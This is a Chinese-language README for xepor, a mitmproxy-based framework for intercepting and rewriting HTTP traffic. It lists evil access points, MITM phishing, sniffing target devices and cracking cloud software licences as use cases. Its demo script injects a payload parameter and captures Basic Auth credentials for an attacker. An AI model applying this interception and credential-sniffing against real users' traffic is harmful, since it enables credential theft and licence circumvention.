xepor

赛波尔

Xepor（发音为/ˈzɛfə/ , zephyr）是一个面向逆向工程师和安全研究人员的 Web 路由框架。它为黑客提供了类似 Flask 的 API，以人性化的编码风格拦截和修改 HTTP 请求和/或 HTTP 响应。

该项目旨在与 mitmproxy 一起使用。用户使用xepor编写脚本，并使用mitmproxy -s your-script.py在mitmproxy 中运行脚本。

如果您想从 PoC 进入生产，从演示（例如 http-reply-from-proxy.py、http-trailers.py、http-stream-modify.py）到可以用 WiFi Pineapple 取出的东西，那么Xepor 适合您！

特征

1. 使用@api.route()编写所有内容，就像 Flask 一样！将所有内容写在一个脚本中，不再使用if..else 。
2. 处理多个 URL 路由，甚至在一个InterceptedAPI实例中处理多个主机。
3. 对于每个路由，您可以选择在连接到服务器之前修改请求（甚至在没有连接到上游的情况下返回假响应），或者在转发给用户之前修改响应。
4. 黑名单模式或白名单模式。仅允许脚本中定义的 URL 端点连接到上游，使用 HTTP 404 阻止其他所有内容（在特定域中）。适合透明代理。
5. 由解析提供支持的人类可读 URL 路径定义和匹配
6. 主机重新映射。定义规则以从假主机重定向到真正的上游。支持正则表达式匹配。最适合 SSL 剥离和服务器端许可证破解！
7. 加上 mitmproxy 的所有最好功能！完全支持所有操作模式（ mitmproxy / mitmweb + regular / transparent / socks5 / reverse:SPEC / upstream:SPEC ）。

使用案例

1. 邪恶的 AP 和通过 MITM 进行的网络钓鱼。
2. 通过 iptables + 透明代理嗅探来自目标设备的流量，使用 xepor 即时修改有效负载。
3. 破解基于云的软件许可证。请参阅 example/krisp/ 作为示例。
4. 用大约 100 行代码编写一个复杂的网络爬虫。请参阅示例/polyv_scrapper/ 作为示例。
5. ...还有更多。

该项目不提供 SSL 剥离。

安装

pip install xepor

快速启动

以 example/httpbin 中的脚本为例。

mitmweb -s example/httpbin/httpbin.py

将浏览器 HTTP 代理设置为http://127.0.0.1:8080 ，并通过 http://127.0.0.1:8081/ 访问 Web 界面。

从 http://httpbin.org/#/HTTP_Methods/get_get 发送 GET 请求，然后您可以在 mitmweb 界面、浏览器开发工具或 Wireshark 中看到 Xepor 所做的修改。

httpbin.py做了两件事。

1. 当用户访问http://httpbin.org/get时，在HTTP请求中注入查询字符串参数payload=evil_param 。
2. 当用户访问http://httpbin.org/basic-auth/xx/xx/（我们只是假装不知道密码）时，从HTTP请求中嗅探Authorization标头并将密码打印给攻击者。

这正是 mitmproxy 一贯所做的，但代码是以xepor方式编写的。

 # https://github.com/xepor/xepor-examples/tree/main/httpbin/httpbin.py
from mitmproxy . http import HTTPFlow
from xepor import InterceptedAPI , RouteType


HOST_HTTPBIN = "httpbin.org"

api = InterceptedAPI ( HOST_HTTPBIN )


@ api . route ( "/get" )
def change_your_request ( flow : HTTPFlow ):
    """
    Modify URL query param.
    Test at:
    http://httpbin.org/#/HTTP_Methods/get_get
    """
    flow . request . query [ "payload" ] = "evil_param"


@ api . route ( "/basic-auth/{usr}/{pwd}" , rtype = RouteType . RESPONSE )
def capture_auth ( flow : HTTPFlow , usr = None , pwd = None ):
    """
    Sniffing password.
    Test at:
    http://httpbin.org/#/Auth/get_basic_auth__user___passwd_
    """
    print (
        f"auth @ { usr } + { pwd } :" ,
        f"Captured { 'successful' if flow . response . status_code < 300 else 'unsuccessful' } login:" ,
        flow . request . headers . get ( "Authorization" , "" ),
    )


addons = [ api ]